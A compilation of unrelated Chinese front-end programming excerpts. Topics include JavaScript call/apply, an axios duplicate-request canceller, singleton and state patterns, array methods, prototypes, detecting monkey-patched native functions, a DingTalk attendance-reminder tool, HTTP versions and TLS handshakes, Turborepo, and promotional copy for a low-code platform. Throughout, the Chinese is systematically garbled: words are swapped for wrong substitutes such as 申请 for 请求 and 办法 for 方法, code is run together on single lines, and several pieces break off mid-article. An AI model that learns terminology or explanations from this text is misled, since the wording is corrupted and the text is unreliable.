obj1.eat.apply(obj2,"pizza","cola")fun()总结：call，apply会立刻执行，bind不会

src/utils/request.js import axios from 'axios'// 办法一:申请形式、申请 URL、申请参数都一样时,视为同一申请// function generateReqKey(config) {// const { method, url, params, data } = config;// return [method, url, JSON.stringify(params), JSON.stringify(data)].join("&");// }// 办法二:申请形式、申请 URL视为同一申请,（不判断参数是否统一，列表页在网络不稳固时，存在先发动的page:2数据比后发动的page:3数据后返回，导致显示页码3，展现的是页码2的数据）//用于依据以后申请的信息，生成申请 Keyfunction generateReqKey(config) { const { method, url } = config; return [method, url].join("&");}//用于把以后申请信息增加到pendingRequest对象中const pendingRequest = new Map();function addPendingRequest(config) { const requestKey = generateReqKey(config); config.cancelToken = config.cancelToken || new axios.CancelToken((cancel) => { if (!pendingRequest.has(requestKey)) { pendingRequest.set(requestKey, cancel); } });}//查看是否存在反复申请，若存在则勾销已发的申请function removePendingRequest(config) { const requestKey = generateReqKey(config); if (pendingRequest.has(requestKey)) { const cancelToken = pendingRequest.get(requestKey); cancelToken(requestKey); pendingRequest.delete(requestKey); }}// 创立axios实例const service = axios.create({ baseURL: '接口地址', timeout: 30000})// request拦截器service.interceptors.request.use( config => { removePendingRequest(config); // 查看是否存在反复申请，若存在则勾销已发的申请 addPendingRequest(config); // 把以后申请信息增加到pendingRequest对象中 return config; }, error => { Promise.reject(error) })// response 拦截器service.interceptors.response.use( response => { removePendingRequest(response.config); // 从pendingRequest对象中移除申请 return response.data }, error => { removePendingRequest(error.config || {}); // 从pendingRequest对象中移除申请 if (axios.isCancel(error)) { console.log("已勾销的反复申请：" + error.message); } else { // 增加异样解决 } return Promise.reject(error) })export default servicesrc/api/index.js ...

单例模式 1 定义保障一个类仅有一个实例，并提供一个拜访它的全局拜访点。2 利用机会当一个类的实例被频繁应用，如果反复创立这个实例，会无端耗费资源。比方 dialog 弹窗会被全局重复使用业务性能自身决定了全局只能有惟一的实例。比方 redux 治理的数据，只能有惟一的一份3 利用场景对于前端利用的许多根本组件：比方 dialog、message等等，会被全局频繁应用，就应该保护一个全局惟一的实例，防止反复创立带来不必要的资源耗费。业务组件也同理：比方购物车组件、登录弹窗组件等对于一些通用的工具库，常常会应用单例模式。比方咱们通常会创立一个全局惟一的 axios 实例来发动网络申请对于 redux、vuex 等状态治理库，都采纳全局惟一的 store 来存储利用状态数据等等 …… 4 代码实现4.1 全局变量和命名空间依据单例模式的定义 // 保护类 A 的惟一实例class A {}window.a = new A(); // 或 global.a = new A(); 浏览器用 window这种办法存在很显著的缺点，因为同一我的项目的所有程序员都能够定义全局的变量 a，很容易造成全局净化。 解决办法是设定一个本人的命名空间来和其他人辨别 // 比方我设定本人的命名空间 JiMingwindow.JiMing = { a: new A()}如果应用 TypeScript ，能够应用关键字 namespace namespace JiMing { export const a = new A();}4.2 惰性单例上述实现中，咱们间接在全局创立了类 A 的繁多实例，无论其是否被应用，这在某些场景会造成资源节约。有时咱们心愿在用到的时候再创立实例 如下代码利用立刻执行函数和闭包来失去 A 的单例获取函数：getSingletonOfA class A {}const getSingletonOfA = (() => { let instance; return () => { return (instance ??= new A()); };})();只有在调用getSingletonOfA才会创立 A 的实例，并且会在闭包中将其贮存在 instance 中，反复调用getSingletonOfA会获取雷同的实例 ...

**捷码行业案例——智慧楼宇湖南天辰建设有限责任公司智慧楼宇可视化我的项目**智慧楼宇我的项目利用捷码的3D可视化、报表剖析与展现等重点性能，次要展现在可视化大屏端、PC端，比照以往的自研零碎，可视化成果更好、更直观。各项性能、各类实时数据全显示在大屏上，数据分析更便捷。我的项目落地交付后，客户给了满满好评！夸赞了该我的项目实现了业务的可视化治理，数据分析能力也更好，展现成果事倍功半。 我的项目诉求 1.疾速开发利用零碎，需要随提随改2.进步开发人员技术能力，建设低码麻利开发模式3.疾速开发、疾速交付 成绩展现 在开发过程中，通过捷码学院提供的利用开发专项培训，联合日常开发过程捷码技术撑持人员粗疏及时的领导开发，团队内的研发人员疾速把握了捷码的残缺开发能力，并在2个月的工夫里，迅速实现了智慧楼宇零碎的开发、测试、上线。开发过程中，实现需求随提随改，大大缩短了开发周期，防止了需要批改不及时或难批改问题。在我的项目疾速响应和批改的过程，更胜利地帮忙开发团队躲避了甲方对流程和迁延的各种不满，晋升了我的项目单干过程的满意度。加入捷码开发专项培训的多位湖南天辰开发人员，还顺利取得了捷码开发工程师的认证证书。 新我的项目开发湖南天辰早先开发实现的智慧工地零碎，是该公司外部的研发我的项目，次要用于监测工地安全帽，通过捷码低代码平台对接硬件、后盾的数据，采集数据后做对立剖析展现，可在App端、可视化大屏端、PC端实时展现数据分析，监测并躲避施工危险。

间隔上次介绍捷码行业模板曾经过来了好几个月，捷码也上新了多个智慧城市行业利用模板，明天就来具体介绍一下~千呼万唤始进去，本次介绍的上新行业利用模板，笼罩园区、水务、文旅、工业互联等行业，总有一款满足您的治理需要。各利用模板还反对二开，帮忙企业疾速构建利用，胜利交付我的项目。快来看看都有哪些利用模板吧~一、捷码智慧工厂解决方案捷码智慧工厂数据可视化平台，涵盖数字孪生工厂、设施运维监测、智能管网监测、区域安防监测、生产治理监测等多种性能，对工业厂房的地位、散布、边界进行数据可视化监测；对生产进度、产品质量、设施运维、能效治理、安防巡检等治理畛域的要害指标进行综合监测剖析，实现监管区域三维全景可视化和智能化管控。平台基于数字孪生技术，交融工业大数据、物联网、人工智能等各类信息技术，依靠三维仿真技术，整合厂区现有各类感知前端、业务零碎的数据资源，构建工厂的三维展现、监控、告警、定位、剖析一体化的3D可视化平台，无效进步厂区综合监管能力、升高企业厂区经营老本，实现治理精细化、决策科学化和服务高效化，广泛应用于态势监测、应急指挥、数据分析、成绩汇报等多种场景。 二、捷码智慧园区解决方案捷码智慧园区数字驾驶舱平台，以园区数字孪生场景为底座，建设融主题数据、能耗剖析、智慧照明、应急指挥、设施运维等模块于一体的可视化经营治理平台，通过多维数据整合，对园区企业的各项数据进行统计分析，采集园区人流、车流、管网监控、耗水、用电、光照、摄像头、传感器等各项信息化数据，对园区的能耗、办公、生存、应急指挥、运维等进行实时自动化监测，实现对园区的全面剖析及全面监管，进步智慧园区综合经营能力，打造智能化、数字化、现代化的园区治理。 三、捷码智慧水务解决方案捷码智慧供水系统，集成水厂一张图、二供治理、运行监控、管网数据、水务经营、应急指挥等性能，接入源水、水厂、骨干管网、泵站、压力监测点、大用户监控等各类数据，在GIS地图上展现各项设施、水厂的实时数据，点击水厂模型可查看水厂3D数字孪生场景。展现进出水数据、水厂散布细节图等，还可查看设施、人员、安防、水质等数据。通过对设施及水厂数据的实时采集，可实现泵房运行/巡检/进出口压力、二供泵房、管网、缴费、抄表等数据的实时监测剖析。同时，应急指挥性能增设抗台风、抗寒潮、抢修等多种预案，保障供水平安。 四、捷码数字文旅解决方案捷码数字文旅治理平台，采集景区根底数据、景点、监控、设施、游船、人流量等海量数据信息，使用数字化解决方案交融目的地游览资源，集成GIS一张图、景区治理、旅行路线举荐、人流剖析、游览产业等重点性能，全面晋升文化游览智慧化服务和管理水平，助推目的地文旅数字产业降级，晋升文旅品牌影响力。从久远来看，它将为全域的文化游览提供新载体和新思路，重构文旅新业态，助推产业降级。 五、更多行业利用模板，尽在捷码平台除了以上四款利用模板外，捷码还有数字路长综合服务平台、智慧水务大数据标签管理系统、数据中台、智慧风力发电看板等大量的多行业利用模板，通过利落拽和配置，即可疾速实现数字化软件应用的麻利开发。不止行业利用模板，捷码多年来继续拓展智慧城市行业应用领域，已有智慧社区指挥驾驶舱零碎、智慧工地数据管理平台、三维仿真建筑设备监控平台、智慧水利大数据可视化平台、虚构沙盘及销控系统、燃气指挥云平台等智慧城市超多行业落地利用案例，助力宽广行业友商及客户在智慧化利用开发过程中，疾速交付我的项目。 此外，捷码还提供弱小的工具撑持与赋能保障，反对私有化部署开发，助力合作伙伴降本增效，实现短平快的我的项目交付。

数组常见的办法可分为：操作方法，排序办法，转换方法，迭代办法数组的基本操作能够演绎为 增、删、改、查，须要注意的是哪些办法对原数组产生影响，哪些办法不会。 操作方法（增、删、改、查）增以下前三种是对原数组产生影响的削减办法，第四种则不会对原数产生影响 push()unshift()splice()concat()push()办法接管任意数量的参数，并将他们增加到数组开端，返回数组的最新长度 let colors = []; //创立一个数组let count = colors.push("brown","purple"); //从数组开端推入两项console.log(count) //2unshift()在数组结尾增加任意多个值，而后返回新的数组长度 let colors = new Array(); // 创立一个数组let count = colors.unshift("orange","yellow");//从数组结尾推入两项console.log(count) //2splice()传入三个参数，别离是开始地位、0（要删除的元素数量）、插入的元素，返回空数组 let colors = ["blue","green","pink"];let removed = colors.splice(1,0,"yellow","orange"); console.log(colors); // blue,yellow,orange,green,pinkconsole.log(removed);//[]concat()，首先会创立一个以后数组的正本，而后再把它的参数增加到正本开端，而后返回这个新构建的数组，不会影响原始数组 let colors = ["red","green","blue"];let colors2 = colors.concat("yellow",["black","brown"]);console.log(colors); // ["red","green","blue"]console.log(colors2); //["red","green","blue","yellow","black","brown"]删以下前三种都会影响原数组，最初一项不影响原数组 pop()shift()splice()slice()pop()办法用于删除数组的最初一项，同时缩小数组的length值，返回被删除的项 let colors = ["red","green"];let item = colors.pop();//获得最初一项 console.log(item) ;//greenconsole.log(colors);//1shift()办法用于删除元素的第一项，同时缩小数组的length值，返回被删除的项 let colors = ["red","green"];let item = colors.shift();//获得第一项console.log(colors.length)//1console.log(item);//redsplice()办法传入两个参数，别离是开始地位，删除元素的数量，返回包涵删除元素的数组 let colors = ["red","green","blue"];let removed = colors.splice(0,1);//删除第一项console.log(colors); // green,blueconsole.log(removed);//red,只有一个元素的数组slice()用于创立一个蕴含原有数组中一个或多个元素的新数组，不会影响原始数组 ...

结构对象function Person() {}let person = new Person()下面程序建设了一个Person类型的实例 原型function Person() {}Person.prototype.name = "ztq"Person.prototype.sayHi = function () {console.log("hello world")}let person1 = new Person()let person2 = new Person()console.log(Person.prototype) // { name: 'ztq', sayHi: [Function (anonymous)] }console.log(person1.name) // ztqconsole.log(person2.name) // ztq每个构造函数都有一个prototype属性指向实例原型，那什么是实例原型？你能够了解为值为与实例对象相关联的一个原始状态的对象。实例中无奈获取到的属性值会去原型中找，这也是前面实现继承的最重要的个性。 constructorfunction Person() {}Person.prototype.name = "ztq"Person.prototype.sayHi = function () {console.log("hello world")}let person1 = new Person()let person2 = new Person()console.log(person1.constructor) // [Function: Person]console.log(person2.constructor) // [Function: Person]console.log(person1.constructor === person2.constructor) // true实例原型的constructor指针会指向构造函数 proto在每个实例对象中都有一个[[prototype]]属性，这个属性咱们无奈通过规范形式间接拜访到，但在chrome、firefox、safria浏览器中有__proto__属性。在当初的规范中，getPrototype和setPrototypeOf能够获取和设置__proto__，__proto__属性理论是指向[[prototype]]的援用。 function Person() {}Person.prototype.name = "ztq"Person.prototype.sayHi = function () {console.log("hello world")}let person1 = new Person()let person2 = new Person()console.log(person1.__proto__) // { name: 'ztq', sayHi: [Function (anonymous)] }console.log(Object.getPrototypeOf(person1)) // { name: 'ztq', sayHi: [Function (anonymous)] } ...

你如何确定一个JavaScript原生函数是否被笼罩？ 你不能--或者至多无奈牢靠地确定。有一些检测办法很靠近，但你不能齐全置信它们。JavaScript原生函数在JavaScript中，原生函数指的是其源代码曾经被编译进原生机器码的函数。原生函数能够在JavaScript 规范内置对象（比如说eval(), parseInt()等等），以及浏览器Web API（比如说fetch(), localStorage.getItem()等等）中找到。 因为JavaScript的动静个性，开发者能够笼罩浏览器裸露的原生函数。这种技术被称为"猴子补丁"。 猴子补丁猴子补丁次要用于批改浏览器内置API和原生函数的默认行为。这通常是增加特定性能、垫片性能或连贯你无法访问的API的惟一路径。 比如说，诸如Bugsnag等监控工具笼罩了Fetch和XMLHttpRequest APIs，以取得对由JavaScript代码触发的网络连接的可见性。 猴子补丁是十分弱小，但也是十分危险的技术。因为你所笼罩的代码不受你的管制：将来对JavaScript引擎的更新可能会突破你的补丁中的一些假如，从而导致重大的bug。 此外，通过对不属于你的代码进行猴子补丁，你可能会笼罩一些曾经被其余开发者猴子补丁过的代码，从而引入潜在的抵触。 基于此，有时你可能须要测试一个给定的函数是否为原生函数，或者它是否被猴子补丁过...但你能做到吗？ 应用toString()查看查看一个函数是否依然是 "洁净的"（如未被猴子补丁）的最罕用办法是查看其toString()的输入。 默认状况下，原生函数的toString()会返回相似于 "function fetch() { [native code] }"的内容。 这个字符串可能略有不同，这取决于运行的是什么JavaScript引擎。不过，在大多数浏览器中，你能够平安地认为这个字符串将包含"[native code]"子串。 通过对原生函数进行猴子补丁，它的toString()将进行返回"[native code]"字符串，而是返回字符串化的函数体。 因而，查看一个函数是否依然是原生的一个简略办法是，查看其toString()输入是否蕴含"[native code]"字符串。 初步查看可能是这样的： function isNativeFunction(f) { return f.toString().includes("[native code]");}isNativeFunction(window.fetch); // → true// Monkey patch the fetch API(function () { const { fetch: originalFetch } = window; window.fetch = function fetch(...args) { console.log("Fetch call intercepted:", ...args); return originalFetch(...args); };})();window.fetch.toString(); // → "function fetch(...args) {\n console.log("Fetch...isNativeFunction(window.fetch); // → false这种办法在大多数状况下都能失常工作。然而，你必须晓得，坑骗它是很容易的，让它认为一个函数依然是原生的，惋惜并不是。无论是出于歹意（例如，在代码中下病毒），还是因为你想让你的笼罩不被发现，你有几种办法能够让函数看起来是"原生"的。 ...

背景 2018年某一天的下午，深切感触到原生JS的重要性以及带来的安全感！过后给一个我的项目减少新的前端性能需要，因为该我的项目曾经理论运行当中，所以工夫紧迫，该性能须要在5个小时内实现、测试、以及上线 因而，拿到源代码时，疾速相熟了我的项目的整体，发现前端采纳vue框架编写，既然是vue，那就用vue来编写新性能。初略预计了工夫，应该是来得及，于是，便开始着手新的性能 过程 然而，事件并没有设想的那么简略，发现自己用vue写的性能，居然毫无效果！并且报错一直！vue的基本功，本人感觉还是能够的，也写过大大小小的我的项目，然而这次却不灵了！ 因为之前该项目标开发，本人并未参加，因而一时半会摸不分明问题所在。于是花了近三个小时排查问题，却仍旧没有得出后果。搞得狐疑本人的vue写法是否正确，还特意去vue官网查看，发现写法齐全没有问题！然而代码就是报错，浏览器无任何运行成果 原生JS护体 工夫所剩不多，本人还在焦头烂额地排查问题所在，心里一直唠叨着：“为何要用vue写，为何要用vue写”。忽然眉头一皱;计上心来：“对呀，为何要用vue，还有原生JS这一大招呢”。于是，重新整理思路，大脑疾速地过一遍用原生JS实现该性能的一个大体逻辑，便疾速进入编写过程 就这样，用原生JS一口气实现了该性能需要，过程中并没有遇到太多的艰难，且在工夫要求范畴内实现测试以及上线 总结 预先，认真从新排查了问题所在，发现该我的项目不仅用了vue框架，还援用了别的七七八八框架重叠，以及UI库等，导致该项目标的重构性差 通过这次经验，深切感触到原生JS的弱小，重要性，以及在非凡状况下可能给开发人员多一个抉择的方向以及多一份安全感 在这里并非贬斥vue或者其余框架，论不便，疾速开发还是框架好。只是若遇到相似写不动，改不动，而又不知问题所在，如果只会用框架，没有把握好原生JS，那在理论开发过程将会变得很被动，毕竟1000集体用框架，有1000种写法 最初感觉文章不错的，给我点个赞哇，关注一下呗！技术交换可关注微信公众号【GitWeb】，加我好友一起探讨微信交换群：加好友（备注思否）邀你入群，抱团学习共提高

大家好，我是杨胜利。 我司应用钉钉考勤打卡，人事要求的比拟严格，两次未打卡记缺勤一天。但咱们组醉心于工作，老是上下班遗记打卡，每月的工资被扣到肉疼。 开始的时候咱们都设置了一个打卡闹铃，上班后准时揭示，但有的时候加班，加完班回家又遗记打卡了。还有的时候迷之自信的认为本人打卡了，第二天看考勤记录发现没打卡。 为了彻底解决这个问题，守住咱们的钱袋子，我开发了一款打卡揭示工具，让全组间断三个月全勤！ 上面介绍一下，这个小工具是如何实现的。 小工具实现思路首先思考一下：闹铃揭示为什么不能百分之百有用？ 机械的揭示闹铃揭示很机械，每天一个点固定揭示，工夫久了人就会免疫。就像起床闹铃用久了，缓缓的那个声音对你不起作用了，此时不得不换个铃声才行。 不能反复揭示闹铃只会在固定工夫揭示一次，没有方法判断是否打卡，更不会智能地发现你没有打卡，再揭示一次。 既然闹铃做不到，那咱们就用程序来实现吧。依照上述两个起因，咱们要实现的揭示工具必须蕴含两个性能： 检测用户是否打卡，未打卡则揭示，已打卡不揭示。对未打卡用户循环检测，反复揭示，直到打卡为止。如果能实现这两个性能，那么遗记打卡的问题多半也就解决了。 打卡数据须要从钉钉获取，并且钉钉有推送性能。因而咱们的计划是：利用 Node.js + 钉钉 API 来实现打卡状态检测和精准的揭示推送。 意识钉钉 API钉钉是企业版的即时通讯软件。与微信最大的区别是，它提供了凋谢能力，能够用 API 来实现创立群组，发送音讯等性能，这象征使着用钉钉能够实现高度定制的通信能力。 咱们这里用到的钉钉 API 次要有以下几个： 获取凭证获取用户 ID查看打卡状态群内音讯推送@某人推送在应用钉钉 API 之前，首先要确认有公司级别的钉钉账号（应用过钉钉打卡性能个别就有公司账号），前面的步骤都是在这个账号下实现。 申请开放平台利用钉钉开发第一步，先去钉钉开放平台申请一个利用，拿到 appKey 和 appSecret。 钉钉开放平台地址：https://open.dingtalk.com/dev...进入平台后，点击“开发者后盾”，如下图： 开发者后盾就是治理本人开发的钉钉利用的中央，进入后抉择“利用开发->企业外部开发”，如下图： 进入这个页面可能提醒暂无权限，这是因为开发企业钉钉利用须要开发者权限，这个权限须要管理员在后盾增加。 管理员加开发者权限形式： 进入 OA 治理后盾，抉择设置-权限治理-治理组-增加开发者权限下的对应权限。进入之后，抉择【创立利用 -> H5 微利用】，依据提醒创立利用。创立之后在【利用信息】中能够看到两个关键字段： AppKeyAppSecret 这两个字段十分重要，获取接口调用凭证时须要将它们作为参数传递。AppKey 是企业外部利用的惟一身份标识，AppSecret 是对应的调用密钥。 搭建服务端利用钉钉 API 须要在服务端调用。也就是说，咱们须要搭建一个服务端利用来申请钉钉 API。 切记不能够在客户端间接调用钉钉 API，因为 AppKey 和 AppSecret 都是窃密的，绝不能够间接裸露在客户端。 咱们应用 Node.js 的 Express 框架来搭建一个简略的服务端利用，在这个利用上与钉钉 API 交互。搭建好的 Express 目录构造如下： |-- app.js // 入口文件|-- catch // 缓存目录|-- router // 路由目录| |-- ding.js // 钉钉路由|-- utils // 工具目录| |-- token.js // token相干app.js 是入口文件，也是利用外围逻辑，代码简略书写如下： ...

HTTP/1.0反对GET和POST申请形式实质上反对长连贯，然而默认还是短连贯，减少了keep-alive关键字来由短链接变成长连贯HTTP的申请和回应格局也产生了变动，除了要传输的数据之外，每次通信都蕴含头信息，用来形容一些信息。还减少了状态码（status code）、多字符集反对、多局部发送（multi-part type）、权限（authorization）、缓存（cache）、内容编码（content encoding）等HTTP/1.1HTTP1.1最大的变动就是引入了长链接，也就是TCP链接默认是不敞开的能够被多个申请复用。客户端或者服务器如果长时间发现对方没有流动就会敞开链接，然而标准的做法是客户端在最初一个申请的时候要求服务器敞开链接。对于同一个域名，目前浏览器反对建设6——8个长链接（chrom,6,firefox,8）。 有余次要是连贯迟缓，服务器只能按程序响应，如果某个申请花了很长时间，就会呈现申请队头阻塞 HTTP/2.0特点二进制分帧首部压缩流量管制多路复用申请优先级服务器推送二进制分帧在不扭转HTTP1.x的语义、办法、状态码。URL以及首部字段的状况下，HTTP2.0通过应用层（HTTP）和传输层（TCP）之间减少一个二进制分帧层来冲破HTTP1.1的性能限度，改良传输性能，实现低提早高吞吐量 帧：HTTP2.0通信的最小单位，所有帧都共享一个8字节的首部，其中蕴含帧的长度、类型、标记、还有一个保留位，并且至多有标识出以后帧所属的流的标识符，帧承载着特定类型的数据，如HTTP首部、负荷、等等。音讯：比帧大的通信单位，是指逻辑上的HTTP音讯，比方申请、响应等。由一个或多个帧组成流：比音讯大的通信单位。是TCP连贯中的一个虚构通道，能够承载双向的音讯。每个流都有一个惟一的整数标识符首部压缩HTTP1.1并不反对HTTP首部压缩，为此SPDY和HTTP2.0呈现了。SPDY是用的是DEFLATE算法，而HTTP2.0则应用了专门为首部压缩设计的HPACK算法。流量管制HTTP2.0为数据流和连贯的流量提供了一个简略的机制： 流量基于HTTP链接的每一跳进行，而非端到端的管制流量管制基于窗口更新帧进行，即接管方播送本人筹备接管某个数据流的多少字节，以及对整个链接要接管多少个字节。流量管制有方向性，即接管方可能依据本人的状况为没个流乃至整个链接设置任意窗口大小流量管制能够由接管方禁用，包含针对个别的流和针对整个链接。帧的类型决定了流量管制是否实用于帧，目前只有DATA帧遵从流量管制，所有其余类型的帧并不会耗费流量管制窗口的空间。这保障了重要的管制帧不会被流量管制阻塞服务器推送服务端依据客户端的申请，提前返回多个响应，推送额定的资源给客户端。 有余http2是基于tcp协定的，tcp协定在设计之初并非是以当初优质、高带宽的网络基础设施根底上设计的，他充分考虑了数据的可靠性，显得小心谨慎，在传输速率的体现，也曾经跟不上现时的网络基础设施。将来是否有更优化的网络层协定倒退进去，能够刮目相待，包含像基于udp协定的QUIC协定。集体认为上层协定还是由os内核来实现比拟好，QUIC协定实现在应用层而非操作系统的内核层，始终是一个软肋。大部分的http2实现和利用〈包含浏览器和web服务器)，事实上都必须基于TLS(SSL)安全套接层。对于一个承载互联网内容的根底协定来说，这样的平安考量是正当的，也是必须的。无利就有弊，TLS的握手和数据加密过程必然给通信及通信单方带来一些累赘。这些累赘和额定的消耗，对于一些外部利用，比如说后端的微服务之间，有时候并不是必须的，是能够简化的。因为事实世界曾经基于http1建设起来，一些通信链路上的基础设施，比如说http代理，暂不能反对http2，因而这会对http2的铺开造成妨碍，且这种妨碍可能是长期的过程。因为http2是二进制的，传输又是多路复用的，在不同帧的设计上思考到了压缩、优先级管制、流量管制、服务端推送，这导致http2的协定能够说比较复杂了。因而在协定的实现、利用的调试上将显然会比简略明文的http1减少一些难度。简略和直观，对于人类来说，具备天生的亲和力。常见状态码1xx: 批示信息——示意申请已接管，持续解决2xx: 胜利——示意申请已被胜利接管3xx: 重定向——示意要实现申请必须进行进一步操作4xx: 客户端谬误——示意申请有语法错误或申请无奈实现5xx: 服务端谬误——示意服务器未能实现非法的申请HTTP/3.0呈现背景因为HTTP 2.0依赖于TCP，TCP有什么问题那HTTP2就会有什么问题。最次要的还是队头阻塞，在应用层的问题解决了，可是在TCP协定层的队头阻塞还没有解决。TCP在丢包的时候会进行重传，后面有一个包没收到，就只能把前面的包放到缓冲区，应用层是无奈取数据的，也就是说HTTP2的多路复用并行性对于TCP的失落复原机制不论用，因而失落或从新排序的数据都会导致交互挂掉为了解决这个问题，Google又创造了QUIC协定 特点在传输层间接干掉TCP，用UDP代替实现了一套新的拥塞控制算法，彻底解决TCP中队头阻塞的问题实现了相似TCP的流量管制、传输可靠性的性能。尽管UDP不提供可靠性的传输，但QUIC在UDP的根底之上减少了一层来保证数据可靠性传输。它提供了数据包重传、拥塞管制以及其余一些TCP中存在的个性实现了疾速握手性能。因为QUIC是基于UDP的，所以QUIC能够实现应用0-RTT或者1-RTT来建设连贯，这意味着QUIC能够用最快的速度来发送和接收数据。集成了TLS加密性能。目前QUIC应用的是TLS1.3HTTPS数字证书验证服务器身份。如果没有验证的话，就可能被中间人劫持，如果申请被中间人截获，中间人把他本人的公钥给了客户端，客户端收到公钥就把信息发给中间人了，中间人解密拿到数据后，再申请理论服务器，拿到服务器公钥，再把信息发给服务器服务器和CA机构别离有一对密钥(公钥和私钥)，而后是如何生成数字证书的呢？ CA机构通过摘要算法生成服务器公钥的摘要(哈希摘要)CA机构通过CA私钥及特定的签名算法加密摘要，生成签名把签名、服务器公钥等信息打包放入数字证书，并返回给服务器服务器配置好证书，当前客户端连贯服务器，都先把证书发给客户端验证并获取服务器的公钥。 证书验证应用CA公钥和申明的签名算法对CA中的签名进行解密，失去服务器公钥的摘要内容再用摘要算法对证书里的服务器公钥生成摘要，再把这个摘要和上一步失去的摘要比照，如果统一阐明证书非法，外面的公钥也是正确的，否则就是非法的证书认证又分为单向认证和双向认证 单向认证：服务器发送证书，客户端验证证书双向认证：服务器和客户端别离提供证书给对方，并相互验证对方的证书不过大多数https服务器都是单向认证，如果服务器须要验证客户端的身份，个别通过用户名、明码、手机验证码等之类的凭证来验证。只有更高级别的要求的零碎，比方大额网银转账等，就会提供双向认证的场景，来确保对客户身份提供认证性加密过程TLS理论用的是两种算法的混合加密。通过 非对称加密算法 替换 对称加密算法 的密钥，替换实现后，再应用对称加密进行加解密传输数据。这样就保障了会话的机密性。过程如下 浏览器给服务器发送一个随机数client-random和一个反对的加密办法列表服务器把另一个随机数server-random、加密办法、公钥传给浏览器浏览器又生成另一个随机数pre-random，并用公钥加密后传给服务器服务器再用私钥解密，失去pre-random浏览器和服务器都将三个随机数用加密办法混合生成最终密钥这样即使被截持，中间人没有私钥就拿不到pre-random，就无奈生成最终密钥。 对称加密算法就是加密和解密应用同一个密钥。如AES、DES。加解密过程： 浏览器给服务器发送一个随机数client-random和一个反对的加密办法列表服务器给浏览器返回另一个随机数server-random和单方都反对的加密办法而后两者用加密办法将两个随机数混合生成密钥，这就是通信单方加解密的密钥长处内容加密，两头无奈查看原始内容身份认证，保障用户拜访正确。数据完整性，避免内容被第三方假冒或篡改尽管不是相对平安，然而现行架构下最平安的解决文案了，大大增加了中间人的攻打老本有余要钱，性能越弱小的证书费用越贵证书须要绑定IP，不能在同一个IP上绑定多个域名https单方加解密，消耗更多服务器资源https握手更耗时，升高肯定用户访问速度(优化好就不是毛病了)TLS1.2握手 浏览器给服务器发送一个随机数client-random、TLS版本和一个反对的加密办法列表服务器生成一个椭圆曲线参数server-params、随机数server-random、加密办法、证书等传给浏览器浏览器又生成椭圆曲线参数client-params，握手数据摘要等信息传给服务器服务器再返回摘要给浏览器确认应答这个版本不再生成椭圆曲线参数cliend-params和server-params，而是在服务器和浏览器两边都失去server-params和client-params之后，就用ECDHE算法间接算出pre-random，这就两边都有了三个随机数，而后各自再将三个随机加密混合生成最终密钥 TLS1.3握手在TLS1.3版本中废除了RSA算法，因为RSA算法可能泄露私钥导致历史报文全副被破解，而ECDHE算法每次握手都会生成长期的密钥，所以就算私钥被破解，也只能破解一条报文，而不会对之前的历史信息产生影响。目前支流都是用ECDHE算法来做密钥替换的 浏览器生成client-params、和client-random、TLS版本和加密办法列表发送给服务器服务器返回server-params、server-random、加密办法、证书、摘要等传给浏览器浏览器确认应答，返回握手数据摘要等信息传给服务器简略说就是简化了握手过程，只有三步，把原来的两个RTT打包成一个发送了，所以缩小了传输次数。这种握手形式也叫1-RTT握手 持续握手优化能够应用会话复用

<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>状态模式</title></head><body> <script> // 状态父类 class LightState { constructor(light) { this.light = light } buttonWasPressed() { throw new Error('父类的buttonWasPressed办法必须被重写') } } // 状态子类 class OffLightState extends LightState { buttonWasPressed() { console.log('弱光') // offLightState对应的行为 this.light.setState(this.light.weakLightState) // 切换状态到 weakLightState } } class WeakLightState extends LightState { buttonWasPressed() { console.log('强光') // weakLightState对应的行为 this.light.setState(this.light.strongLightState) // 切换状态到 strongLightState } } class StrongLightState extends LightState { buttonWasPressed() { console.log('超强光') // strongLightState对应的行为 this.light.setState(this.light.superStrongLightState) // 切换状态到 superStrongLightState } } class SuperStrongLightState extends LightState { buttonWasPressed() { console.log('关灯') // superStrongLightState对应的行为 this.light.setState(this.light.offLightState) // 切换状态到 offLightState } } // 灯类 class Light { constructor() { this.offLightState = new OffLightState(this) this.weakLightState = new WeakLightState(this) this.strongLightState = new StrongLightState(this) this.superStrongLightState = new SuperStrongLightState(this) this.button = null } init() { const button = document.createElement('button') this.button = document.body.appendChild(button) this.button.innerHTML = '开关' this.currState = this.offLightState // 设置以后状态 this.button.onclick = () => this.currState.buttonWasPressed() // 将申请委托给以后的状态对象 } setState(newState) { this.currState = newState } } const light = new Light() light.init() </script></body></html> ...

微信搜寻 【大迁世界】, 我会第一工夫和你分享前端行业趋势，学习路径等等。本文 GitHub https://github.com/qq449245884/xiaozhi 已收录，有一线大厂面试残缺考点、材料以及我的系列文章。前言明天这篇文章次要来比拟一下目前比拟风行的 Monorepo 框架。 Turborepo 首先是 Turborepo，上次的文章中只提到 Turborepo 的应用形式，明天这篇文章就来提提 Turborepo 的相干观点吧！ Truborepo 是一套相当轻量的且能够疾速建设出 Monorepo 架构的框架，这套框架是由一位很有名气的工程师 Jared Palmer 开发，后续也是由鼎鼎大名的 vercel 团队进行保护。 尽管 Turborepo 是 2021 年才问世的算是相当新的一个框架，后续可能会有许多问题以及待优化我的项目须要解决，不过毕竟人家背地有 vercel 在帮忙，所以读者其实是能够放心使用的不必放心XD 而 Turborepo 一共有以下几种个性： Faster, incremental builds：更快的 build 速度。Content-aware hashing：主动查看我的项目内所有文件进行 build，而不是利用 timestamp 的形式来决定哪些文件是须要 build 的。Cloud caching：能够分享 cloud build caching 来减速 CI/CD 的构建。Parallel execution：无效利用所有 CPU 外围的性能，不会节约閒置 CPU 的性能。Task pipelines：定义 task 的关系，让 Turborepo 能够最佳化的决定这些 task 的 build 机会。Pruned subsets：藉由建设 subset 来减速 Platform as a Service(Paas) 的 deploy 效力。Convention-based config：利用 JSON file 来升高複杂度。有了以上几点个性让 Turborepo 能够成为一套既容易上手又能够兼具我的项目性能的好用的 Monorepo 框架。 ...

